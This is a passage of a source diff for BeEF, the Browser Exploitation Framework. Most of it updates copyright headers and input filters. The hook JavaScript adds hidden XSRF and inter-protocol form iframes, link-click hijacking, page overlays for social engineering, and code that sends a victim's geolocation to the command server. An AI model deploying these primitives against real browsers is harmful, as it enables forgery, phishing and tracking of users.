((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]).){3,3}
|
||||
(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])|
|
||||
([0-9a-f]{1,4}:){1,4}:
|
||||
((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]).){3,3}
|
||||
(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]))$/ix
|
||||
when /^:both$/
|
||||
is_valid_ip?(:ipv4, ip) || is_valid_ip?(:ipv6, ip)
|
||||
end ? true : false
|
||||
end
|
||||
|
||||
valid
|
||||
end
|
||||
|
||||
# Checks if string is a valid domain name
|
||||
# @param [String] domain string for testing
|
||||
# @return [Boolean] If the string is a valid domain name
|
||||
# @note Only validates the string format. It does not check for a valid TLD since ICANN's list of
|
||||
# TLD's is not static.
|
||||
def self.is_valid_domain?(domain)
|
||||
return false unless is_non_empty_string?(domain)
|
||||
return true if domain =~ /^[0-9a-z-]+(\.[0-9a-z-]+)*(\.[a-z]{2,}).?$/i
|
||||
false
|
||||
end
|
||||
|
||||
@@ -138,6 +182,6 @@ module Filters
|
||||
return false if str.length > 200
|
||||
true
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
@@ -12,7 +12,7 @@ module Filters
|
||||
def self.is_valid_browsername?(str)
|
||||
return false if not is_non_empty_string?(str)
|
||||
return false if str.length > 2
|
||||
return false if has_non_printable_char?(str)
|
||||
return false if has_non_printable_char?(str)
|
||||
true
|
||||
end
|
||||
|
||||
@@ -22,7 +22,7 @@ module Filters
|
||||
def self.is_valid_browsertype?(str)
|
||||
return false if not is_non_empty_string?(str)
|
||||
return false if str.length < 10
|
||||
return false if str.length > 50
|
||||
return false if str.length > 500 #CxF - had to increase this because the Chrome detection JSON String is getting bigger.
|
||||
return false if has_non_printable_char?(str)
|
||||
true
|
||||
end
|
||||
@@ -32,7 +32,7 @@ module Filters
|
||||
# @return [Boolean] If the string has valid Operating System name characters
|
||||
def self.is_valid_osname?(str)
|
||||
return false if not is_non_empty_string?(str)
|
||||
return false if has_non_printable_char?(str)
|
||||
return false if has_non_printable_char?(str)
|
||||
return false if str.length < 2
|
||||
true
|
||||
end
|
||||
@@ -52,7 +52,7 @@ module Filters
|
||||
# @return [Boolean] If the string has valid browser version characters
|
||||
def self.is_valid_browserversion?(str)
|
||||
return false if not is_non_empty_string?(str)
|
||||
return false if has_non_printable_char?(str)
|
||||
return false if has_non_printable_char?(str)
|
||||
return true if str.eql? "UNKNOWN"
|
||||
return false if not nums_only?(str) and not is_valid_float?(str)
|
||||
return false if str.length > 10
|
||||
@@ -64,7 +64,7 @@ module Filters
|
||||
# @return [Boolean] If the string has valid browser / ua string characters
|
||||
def self.is_valid_browserstring?(str)
|
||||
return false if not is_non_empty_string?(str)
|
||||
return false if has_non_printable_char?(str)
|
||||
return false if has_non_printable_char?(str)
|
||||
return false if str.length > 300
|
||||
true
|
||||
end
|
||||
@@ -73,7 +73,7 @@ module Filters
|
||||
# @param [String] str String for testing
|
||||
# @return [Boolean] If the string has valid cookie characters
|
||||
def self.is_valid_cookies?(str)
|
||||
return false if has_non_printable_char?(str)
|
||||
return false if has_non_printable_char?(str)
|
||||
return false if str.length > 2000
|
||||
true
|
||||
end
|
||||
@@ -82,7 +82,7 @@ module Filters
|
||||
# @param [String] str String for testing
|
||||
# @return [Boolean] If the string has valid screen size characters
|
||||
def self.is_valid_screen_size?(str)
|
||||
return false if has_non_printable_char?(str)
|
||||
return false if has_non_printable_char?(str)
|
||||
return false if str.length > 200
|
||||
true
|
||||
end
|
||||
@@ -91,7 +91,7 @@ module Filters
|
||||
# @param [String] str String for testing
|
||||
# @return [Boolean] If the string has valid window size characters
|
||||
def self.is_valid_window_size?(str)
|
||||
return false if has_non_printable_char?(str)
|
||||
return false if has_non_printable_char?(str)
|
||||
return false if str.length > 200
|
||||
true
|
||||
end
|
||||
@@ -114,6 +114,16 @@ module Filters
|
||||
true
|
||||
end
|
||||
|
||||
# Verify the CPU type string is valid
|
||||
# @param [String] str String for testing
|
||||
# @return [Boolean] If the string has valid CPU type characters
|
||||
def self.is_valid_cpu?(str)
|
||||
return false if not is_non_empty_string?(str)
|
||||
return false if has_non_printable_char?(str)
|
||||
return false if str.length > 200
|
||||
true
|
||||
end
|
||||
|
||||
# Verify the browser_plugins string is valid
|
||||
# @param [String] str String for testing
|
||||
# @return [Boolean] If the string has valid browser plugin characters
|
||||
@@ -123,9 +133,9 @@ module Filters
|
||||
return true if not is_non_empty_string?(str)
|
||||
return false if str.length > 1000
|
||||
if RUBY_VERSION >= "1.9" && str.encoding === Encoding.find('UTF-8')
|
||||
return (str =~ /[^\w\d\s()-.,;_!\302\256]/u).nil?
|
||||
return (str =~ /[^\w\d\s()-.,';_!\302\256]/u).nil?
|
||||
else
|
||||
return (str =~ /[^\w\d\s()-.,;_!\302\256]/n).nil?
|
||||
return (str =~ /[^\w\d\s()-.,';_!\302\256]/n).nil?
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
@@ -12,7 +12,7 @@ module Filters
|
||||
def self.is_valid_pagetitle?(str)
|
||||
return false if not str.is_a? String
|
||||
return false if has_non_printable_char?(str)
|
||||
return false if str.length > 50
|
||||
return false if str.length > 500 # CxF Increased this because some page titles are MUCH longer
|
||||
true
|
||||
end
|
||||
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
@@ -15,6 +15,7 @@ require 'ipaddr'
|
||||
require 'base64'
|
||||
require 'xmlrpc/client'
|
||||
require 'openssl'
|
||||
require 'rubydns'
|
||||
|
||||
# @note Include the filters
|
||||
require 'core/filters'
|
||||
@@ -29,4 +30,4 @@ require 'core/api'
|
||||
require 'core/settings'
|
||||
|
||||
# @note Include the core of BeEF
|
||||
require 'core/core'
|
||||
require 'core/core'
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
//
|
||||
// Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
@@ -9,8 +9,39 @@ beef.are = {
|
||||
var Jools = require('jools');
|
||||
this.ruleEngine = new Jools();
|
||||
},
|
||||
rules:[],
|
||||
send:function(module){
|
||||
// there will probably be some other stuff here before things are finished
|
||||
this.commands.push(module);
|
||||
},
|
||||
execute:function(inputs){
|
||||
this.rulesEngine.execute(input);
|
||||
},
|
||||
cache_modules:function(modules){},
|
||||
rules:[
|
||||
{
|
||||
'name':"exec_no_input",
|
||||
'condition':function(command,browser){
|
||||
//need to figure out how to handle the inputs
|
||||
return (!command['inputs'] || command['inputs'].length == 0)
|
||||
},
|
||||
'consequence':function(command,browser){}
|
||||
},
|
||||
{
|
||||
'name':"module_has_sibling",
|
||||
'condition':function(command,commands){
|
||||
return false;
|
||||
},
|
||||
'consequence':function(command,commands){}
|
||||
},
|
||||
{
|
||||
'name':"module_depends_on_module",
|
||||
'condition':function(command,commands){
|
||||
return false;
|
||||
},
|
||||
'consequence':function(command,commands){}
|
||||
}
|
||||
],
|
||||
commands:[],
|
||||
results:[]
|
||||
};
|
||||
beef.regCmp("beef.are");
|
||||
beef.regCmp("beef.are");
|
||||
|
||||
@@ -1,18 +1,16 @@
|
||||
//
|
||||
// Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
|
||||
/*!
|
||||
* BeEF JS Library <%= @beef_version %>
|
||||
* http://beef.googlecode.com/
|
||||
* Register the BeEF JS on the window object.
|
||||
*/
|
||||
|
||||
$j = jQuery.noConflict();
|
||||
|
||||
//<%= @beef_hook_session_name %>='<%= @beef_hook_session_id %>';
|
||||
|
||||
if(typeof beef === 'undefined' && typeof window.beef === 'undefined') {
|
||||
|
||||
var BeefJS = {
|
||||
@@ -33,7 +31,21 @@ if(typeof beef === 'undefined' && typeof window.beef === 'undefined') {
|
||||
|
||||
// An array containing all the BeEF JS components.
|
||||
components: new Array(),
|
||||
|
||||
|
||||
/**
|
||||
* Adds a function to display debug messages (wraps console.log())
|
||||
* @param: {string} the debug string to return
|
||||
*/
|
||||
debug: function(msg) {
|
||||
if (!<%= @client_debug %>) return;
|
||||
if (typeof console == "object" && typeof console.log == "function") {
|
||||
console.log(msg);
|
||||
} else {
|
||||
// TODO: maybe add a callback to BeEF server for debugging purposes
|
||||
//window.alert(msg);
|
||||
}
|
||||
},
|
||||
|
||||
/**
|
||||
* Adds a function to execute.
|
||||
* @param: {Function} the function to execute.
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,5 +1,5 @@
|
||||
//
|
||||
// Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
//
|
||||
// Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
//
|
||||
// Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
@@ -76,38 +76,146 @@ beef.dom = {
|
||||
|
||||
return iframe;
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns the highest current z-index
|
||||
* @param: {Boolean} whether to return an associative array with the height AND the ID of the element
|
||||
* @return: {Integer} Highest z-index in the DOM
|
||||
* OR
|
||||
* @return: {Hash} A hash with the height and the ID of the highest element in the DOM {'height': INT, 'elem': STRING}
|
||||
*/
|
||||
getHighestZindex: function(include_id) {
|
||||
var highest = {'height':0, 'elem':''};
|
||||
$j('*').each(function() {
|
||||
var current_high = parseInt($j(this).css("zIndex"),10);
|
||||
if (current_high > highest.height) {
|
||||
highest.height = current_high;
|
||||
highest.elem = $j(this).attr('id');
|
||||
}
|
||||
});
|
||||
|
||||
if (include_id) {
|
||||
return highest;
|
||||
} else {
|
||||
return highest.height;
|
||||
}
|
||||
},
|
||||
|
||||
/**
|
||||
* Create and iFrame element. In case it's create with POST method, the iFrame is automatically added to the DOM and submitted.
|
||||
* example usage in the code: beef.dom.createIframe('fullscreen', 'get', {'src':$j(this).attr('href')}, {}, null);
|
||||
* Create an iFrame element and prepend to document body. URI passed via 'src' property of function's 'params' parameter
|
||||
* is assigned to created iframe tag's src attribute resulting in GET request to that URI.
|
||||
* example usage in the code: beef.dom.createIframe('fullscreen', {'src':$j(this).attr('href')}, {}, null);
|
||||
* @param: {String} type: can be 'hidden' or 'fullScreen'. defaults to normal
|
||||
* @param: {String} method: can be 'GET' or 'POST'. defaults to GET
|
||||
* @param: {Hash} params: list of params that will be sent in request.
|
||||
* @param: {Hash} styles: css styling attributes, these are merged with the defaults specified in the type parameter
|
||||
* @param: {Function} a callback function to fire once the iFrame has loaded
|
||||
* @return: {Object} the inserted iFrame
|
||||
*
|
||||
*/
|
||||
createIframe: function(type, method, params, styles, onload) {
|
||||
createIframe: function(type, params, styles, onload) {
|
||||
var css = {};
|
||||
var form_submit = (method.toLowerCase() == 'post') ? true : false;
|
||||
if (form_submit && params['src'])
|
||||
{
|
||||
var form_action = params['src'];
|
||||
params['src'] = '';
|
||||
|
||||
if (type == 'hidden') {
|
||||
css = $j.extend(true, {'border':'none', 'width':'1px', 'height':'1px', 'display':'none', 'visibility':'hidden'}, styles);
|
||||
} else if (type == 'fullscreen') {
|
||||
css = $j.extend(true, {'border':'none', 'background-color':'white', 'width':'100%', 'height':'100%', 'position':'absolute', 'top':'0px', 'left':'0px', 'z-index':beef.dom.getHighestZindex()+1}, styles);
|
||||
$j('body').css({'padding':'0px', 'margin':'0px'});
|
||||
} else {
|
||||
css = styles;
|
||||
$j('body').css({'padding':'0px', 'margin':'0px'});
|
||||
}
|
||||
if (type == 'hidden') { css = $j.extend(true, {'border':'none', 'width':'1px', 'height':'1px', 'display':'none', 'visibility':'hidden'}, styles); }
|
||||
if (type == 'fullscreen') { css = $j.extend(true, {'border':'none', 'background-color':'white', 'width':'100%', 'height':'100%', 'position':'absolute', 'top':'0px', 'left':'0px'}, styles); $j('body').css({'padding':'0px', 'margin':'0px'}); }
|
||||
var iframe = $j('<iframe />').attr(params).css(css).load(onload).prependTo('body');
|
||||
|
||||
if (form_submit && form_action)
|
||||
{
|
||||
var id = beef.dom.generateID();
|
||||
$j(iframe).attr({'id': id, 'name':id});
|
||||
var form = beef.dom.createForm({'action':form_action, 'method':'get', 'target':id}, false);
|
||||
$j(form).prependTo('body').submit();
|
||||
}
|
||||
return iframe;
|
||||
},
|
||||
|
||||
/**
|
||||
* Load the link (href value) in an overlay foreground iFrame.
|
||||
* The BeEF hook continues to run in background.
|
||||
* NOTE: if the target link is returning X-Frame-Options deny/same-origin or uses
|
||||
* Framebusting techniques, this will not work.
|
||||
*/
|
||||
persistentIframe: function(){
|
||||
$j('a').click(function(e) {
|
||||
if ($j(this).attr('href') != '')
|
||||
{
|
||||
e.preventDefault();
|
||||
beef.dom.createIframe('fullscreen', 'get', {'src':$j(this).attr('href')}, {}, null);
|
||||
$j(document).attr('title', $j(this).html());
|
||||
document.body.scroll = "no";
|
||||
document.documentElement.style.overflow = 'hidden';
|
||||
}
|
||||
});
|
||||
},
|
||||
|
||||
/**
|
||||
* Load a full screen div that is black, or, transparent
|
||||
* @param: {Boolean} vis: whether or not you want the screen dimmer enabled or not
|
||||
* @param: {Hash} options: a collection of options to customise how the div is configured, as follows:
|
||||
* opacity:0-100 // Lower number = less grayout higher = more of a blackout
|
||||
* // By default this is 70
|
||||
* zindex: # // HTML elements with a higher zindex appear on top of the gray out
|
||||
* // By default this will use beef.dom.getHighestZindex to always go to the top
|
||||
* bgcolor: (#xxxxxx) // Standard RGB Hex color code
|
||||
* // By default this is #000000
|
||||
*/
|
||||
grayOut: function(vis, options) {
|
||||
// in any order. Pass only the properties you need to set.
|
||||
var options = options || {};
|
||||
var zindex = options.zindex || beef.dom.getHighestZindex()+1;
|
||||
var opacity = options.opacity || 70;
|
||||
var opaque = (opacity / 100);
|
||||
var bgcolor = options.bgcolor || '#000000';
|
||||
var dark=document.getElementById('darkenScreenObject');
|
||||
if (!dark) {
|
||||
// The dark layer doesn't exist, it's never been created. So we'll
|
||||
// create it here and apply some basic styles.
|
||||
// If you are getting errors in IE see: http://support.microsoft.com/default.aspx/kb/927917
|
||||
var tbody = document.getElementsByTagName("body")[0];
|
||||
var tnode = document.createElement('div'); // Create the layer.
|
||||
tnode.style.position='absolute'; // Position absolutely
|
||||
tnode.style.top='0px'; // In the top
|
||||
tnode.style.left='0px'; // Left corner of the page
|
||||
tnode.style.overflow='hidden'; // Try to avoid making scroll bars
|
||||
tnode.style.display='none'; // Start out Hidden
|
||||
tnode.id='darkenScreenObject'; // Name it so we can find it later
|
||||
tbody.appendChild(tnode); // Add it to the web page
|
||||
dark=document.getElementById('darkenScreenObject'); // Get the object.
|
||||
}
|
||||
if (vis) {
|
||||
// Calculate the page width and height
|
||||
if( document.body && ( document.body.scrollWidth || document.body.scrollHeight ) ) {
|
||||
var pageWidth = document.body.scrollWidth+'px';
|
||||
var pageHeight = document.body.scrollHeight+'px';
|
||||
} else if( document.body.offsetWidth ) {
|
||||
var pageWidth = document.body.offsetWidth+'px';
|
||||
var pageHeight = document.body.offsetHeight+'px';
|
||||
} else {
|
||||
var pageWidth='100%';
|
||||
var pageHeight='100%';
|
||||
}
|
||||
//set the shader to cover the entire page and make it visible.
|
||||
dark.style.opacity=opaque;
|
||||
dark.style.MozOpacity=opaque;
|
||||
dark.style.filter='alpha(opacity='+opacity+')';
|
||||
dark.style.zIndex=zindex;
|
||||
dark.style.backgroundColor=bgcolor;
|
||||
dark.style.width= pageWidth;
|
||||
dark.style.height= pageHeight;
|
||||
dark.style.display='block';
|
||||
} else {
|
||||
dark.style.display='none';
|
||||
}
|
||||
},
|
||||
|
||||
/**
|
||||
* Remove all external and internal stylesheets from the current page - sometimes prior to socially engineering,
|
||||
* or, re-writing a document this is useful.
|
||||
*/
|
||||
removeStylesheets: function() {
|
||||
$j('link[rel=stylesheet]').remove();
|
||||
$j('style').remove();
|
||||
},
|
||||
|
||||
/**
|
||||
* Create a form element with the specified parameters, appending it to the DOM if append == true
|
||||
@@ -159,6 +267,23 @@ beef.dom = {
|
||||
}).length;
|
||||
},
|
||||
|
||||
/**
|
||||
* Rewrites all links matched by selector to url, leveraging Bilawal Hameed's hidden click event overwriting.
|
||||
* http://bilaw.al/2013/03/17/hacking-the-a-tag-in-100-characters.html
|
||||
* @param: {String} url: the url to be rewritten
|
||||
* @param: {String} selector: the jquery selector statement to use, defaults to all a tags.
|
||||
* @return: {Number} the amount of links found in the DOM and rewritten.
|
||||
*/
|
||||
rewriteLinksClickEvents: function(url, selector) {
|
||||
var sel = (selector == null) ? 'a' : selector;
|
||||
return $j(sel).each(function() {
|
||||
if ($j(this).attr('href') != null)
|
||||
{
|
||||
$j(this).click(function() {this.href=url});
|
||||
}
|
||||
}).length;
|
||||
},
|
||||
|
||||
/**
|
||||
* Parse all links in the page matched by the selector, replacing old_protocol with new_protocol (ex.:https with http)
|
||||
* @param: {String} old_protocol: the old link protocol to be rewritten
|
||||
@@ -248,7 +373,8 @@ beef.dom = {
|
||||
|
||||
if (codebase != null) {
|
||||
content += "<param name='codebase' value='" + codebase + "' />"
|
||||
}else{
|
||||
}
|
||||
if (archive != null){
|
||||
content += "<param name='archive' value='" + archive + "' />";
|
||||
}
|
||||
if (params != null) {
|
||||
@@ -256,7 +382,7 @@ beef.dom = {
|
||||
}
|
||||
content += "</object>";
|
||||
}
|
||||
if (beef.browser.isC() || beef.browser.isS() || beef.browser.isO()) {
|
||||
if (beef.browser.isC() || beef.browser.isS() || beef.browser.isO() || beef.browser.isFF()) {
|
||||
|
||||
if (codebase != null) {
|
||||
content = "" +
|
||||
@@ -275,24 +401,25 @@ beef.dom = {
|
||||
}
|
||||
content += "</applet>";
|
||||
}
|
||||
if (beef.browser.isFF()) {
|
||||
if (codebase != null) {
|
||||
content = "" +
|
||||
"<embed id='" + id + "' code='" + code + "' " +
|
||||
"type='application/x-java-applet' codebase='" + codebase + "' " +
|
||||
"height='0' width='0' name='" + name + "'>";
|
||||
} else {
|
||||
content = "" +
|
||||
"<embed id='" + id + "' code='" + code + "' " +
|
||||
"type='application/x-java-applet' archive='" + archive + "' " +
|
||||
"height='0' width='0' name='" + name + "'>";
|
||||
}
|
||||
|
||||
if (params != null) {
|
||||
content += beef.dom.parseAppletParams(params);
|
||||
}
|
||||
content += "</embed>";
|
||||
}
|
||||
// For some reasons JavaPaylod is not working if the applet is attached to the DOM with the embed tag rather than the applet tag.
|
||||
// if (beef.browser.isFF()) {
|
||||
// if (codebase != null) {
|
||||
// content = "" +
|
||||
// "<embed id='" + id + "' code='" + code + "' " +
|
||||
// "type='application/x-java-applet' codebase='" + codebase + "' " +
|
||||
// "height='0' width='0' name='" + name + "'>";
|
||||
// } else {
|
||||
// content = "" +
|
||||
// "<embed id='" + id + "' code='" + code + "' " +
|
||||
// "type='application/x-java-applet' archive='" + archive + "' " +
|
||||
// "height='0' width='0' name='" + name + "'>";
|
||||
// }
|
||||
//
|
||||
// if (params != null) {
|
||||
// content += beef.dom.parseAppletParams(params);
|
||||
// }
|
||||
// content += "</embed>";
|
||||
// }
|
||||
$j('body').append(content);
|
||||
},
|
||||
|
||||
@@ -308,15 +435,17 @@ beef.dom = {
|
||||
* Create an invisible iFrame with a form inside, and submit it. Useful for XSRF attacks delivered via POST requests.
|
||||
* @params: {String} action: the form action attribute, where the request will be sent.
|
||||
* @params: {String} method: HTTP method, usually POST.
|
||||
* @params: {String} enctype: form encoding type
|
||||
* @params: {Array} inputs: an array of inputs to be added to the form (type, name, value).
|
||||
* example: [{'type':'hidden', 'name':'1', 'value':''} , {'type':'hidden', 'name':'2', 'value':'3'}]
|
||||
*/
|
||||
createIframeXsrfForm: function(action, method, inputs){
|
||||
createIframeXsrfForm: function(action, method, enctype, inputs){
|
||||
var iframeXsrf = beef.dom.createInvisibleIframe();
|
||||
|
||||
var formXsrf = document.createElement('form');
|
||||
formXsrf.setAttribute('action', action);
|
||||
formXsrf.setAttribute('method', method);
|
||||
formXsrf.setAttribute('action', action);
|
||||
formXsrf.setAttribute('method', method);
|
||||
formXsrf.setAttribute('enctype', enctype);
|
||||
|
||||
var input = null;
|
||||
for (i in inputs){
|
||||
@@ -339,11 +468,11 @@ beef.dom = {
|
||||
* @params: {String} rport: remote port
|
||||
* @params: {String} commands: protocol commands to be executed by the remote host:port service
|
||||
*/
|
||||
createIframeIpecForm: function(rhost, rport, commands){
|
||||
createIframeIpecForm: function(rhost, rport, path, commands){
|
||||
var iframeIpec = beef.dom.createInvisibleIframe();
|
||||
|
||||
var formIpec = document.createElement('form');
|
||||
formIpec.setAttribute('action', 'http://'+rhost+':'+rport+'/index.html');
|
||||
formIpec.setAttribute('action', 'http://'+rhost+':'+rport+path);
|
||||
formIpec.setAttribute('method', 'POST');
|
||||
formIpec.setAttribute('enctype', 'multipart/form-data');
|
||||
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
//
|
||||
// Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
//
|
||||
// Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
//
|
||||
// Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
@@ -32,14 +32,14 @@ beef.geolocation = {
|
||||
|
||||
$j.ajax({
|
||||
error: function(xhr, status, error){
|
||||
//console.log("[geolocation.js] openstreetmap error");
|
||||
beef.debug("[geolocation.js] openstreetmap error");
|
||||
beef.net.send(command_url, command_id, "latitude=" + latitude
|
||||
+ "&longitude=" + longitude
|
||||
+ "&osm=UNAVAILABLE"
|
||||
+ "&geoLocEnabled=True");
|
||||
},
|
||||
success: function(data, status, xhr){
|
||||
//console.log("[geolocation.js] openstreetmap success");
|
||||
beef.debug("[geolocation.js] openstreetmap success");
|
||||
var jsonResp = $j.parseJSON(data);
|
||||
|
||||
beef.net.send(command_url, command_id, "latitude=" + latitude
|
||||
@@ -64,16 +64,16 @@ beef.geolocation = {
|
||||
beef.net.send(command_url, command_id, "latitude=NOT_ENABLED&longitude=NOT_ENABLED&geoLocEnabled=False");
|
||||
return;
|
||||
}
|
||||
//console.log("[geolocation.js] navigator.geolocation.getCurrentPosition");
|
||||
beef.debug("[geolocation.js] navigator.geolocation.getCurrentPosition");
|
||||
navigator.geolocation.getCurrentPosition( //note: this is an async call
|
||||
function(position){ // success
|
||||
var latitude = position.coords.latitude;
|
||||
var longitude = position.coords.longitude;
|
||||
//console.log("[geolocation.js] success getting position. latitude [%d], longitude [%d]", latitude, longitude);
|
||||
beef.debug("[geolocation.js] success getting position. latitude [%d], longitude [%d]", latitude, longitude);
|
||||
beef.geolocation.getOpenStreetMapAddress(command_url, command_id, latitude, longitude);
|
||||
|
||||
}, function(error){ // failure
|
||||
//console.log("[geolocation.js] error [%d] getting position", error.code);
|
||||
beef.debug("[geolocation.js] error [%d] getting position", error.code);
|
||||
switch(error.code) // Returns 0-3
|
||||
{
|
||||
case 0:
|
||||
|
||||
@@ -1,82 +1,159 @@
|
||||
//
|
||||
// Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
|
||||
beef.hardware = {
|
||||
|
||||
ua: navigator.userAgent,
|
||||
|
||||
isWinPhone: function() {
|
||||
return (this.ua.match('(Windows Phone)')) ? true : false;
|
||||
},
|
||||
|
||||
isIphone: function() {
|
||||
return (this.ua.indexOf('iPhone') != -1) ? true : false;
|
||||
},
|
||||
ua: navigator.userAgent,
|
||||
|
||||
isIpad: function() {
|
||||
return (this.ua.indexOf('iPad') != -1) ? true : false;
|
||||
},
|
||||
/*
|
||||
* @return: {String} CPU type
|
||||
**/
|
||||
cpuType: function() {
|
||||
// IE
|
||||
if (typeof navigator.cpuClass != 'undefined') {
|
||||
cpu = navigator.cpuClass;
|
||||
if (cpu == "x86") return "32-bit";
|
||||
if (cpu == "68K") return "Motorola 68K";
|
||||
if (cpu == "PPC") return "Motorola PPC";
|
||||
if (cpu == "Alpha") return "Digital";
|
||||
if (this.ua.match('Win64; IA64')) return "64-bit (Intel)";
|
||||
if (this.ua.match('Win64; x64')) return "64-bit (AMD)";
|
||||
// Firefox
|
||||
} else if (typeof navigator.oscpu != 'undefined') {
|
||||
if (navigator.oscpu.match('(WOW64|x64|x86_64)')) return "64-bit";
|
||||
}
|
||||
if (navigator.platform.toLowerCase() == "win64") return "64-bit";
|
||||
return "32-bit";
|
||||
},
|
||||
|
||||
isIpod: function() {
|
||||
return (this.ua.indexOf('iPod') != -1) ? true : false;
|
||||
},
|
||||
/*
|
||||
* @return: {Boolean} true or false.
|
||||
**/
|
||||
isTouchEnabled: function() {
|
||||
if ('ontouchstart' in document) return true;
|
||||
return false;
|
||||
},
|
||||
|
||||
isNokia: function() {
|
||||
return (this.ua.match('(Maemo Browser)|(Symbian)|(Nokia)')) ? true : false;
|
||||
},
|
||||
/*
|
||||
* @return: {Boolean} true or false.
|
||||
**/
|
||||
isVirtualMachine: function() {
|
||||
if (screen.width % 2 || screen.height % 2) return true;
|
||||
return false;
|
||||
},
|
||||
|
||||
isBlackBerry: function() {
|
||||
return (this.ua.match('BlackBerry')) ? true : false;
|
||||
},
|
||||
/*
|
||||
* @return: {Boolean} true or false.
|
||||
**/
|
||||
isLaptop: function() {
|
||||
// Most common laptop screen resolution
|
||||
if (screen.width == 1366 && screen.height == 768) return true;
|
||||
// Netbooks
|
||||
if (screen.width == 1024 && screen.height == 600) return true;
|
||||
return false;
|
||||
},
|
||||
|
||||
isZune: function() {
|
||||
return (this.ua.match('ZuneWP7')) ? true : false;
|
||||
},
|
||||
/*
|
||||
* @return: {Boolean} true or false.
|
||||
**/
|
||||
isNokia: function() {
|
||||
return (this.ua.match('(Maemo Browser)|(Symbian)|(Nokia)')) ? true : false;
|
||||
},
|
||||
|
||||
isKindle: function() {
|
||||
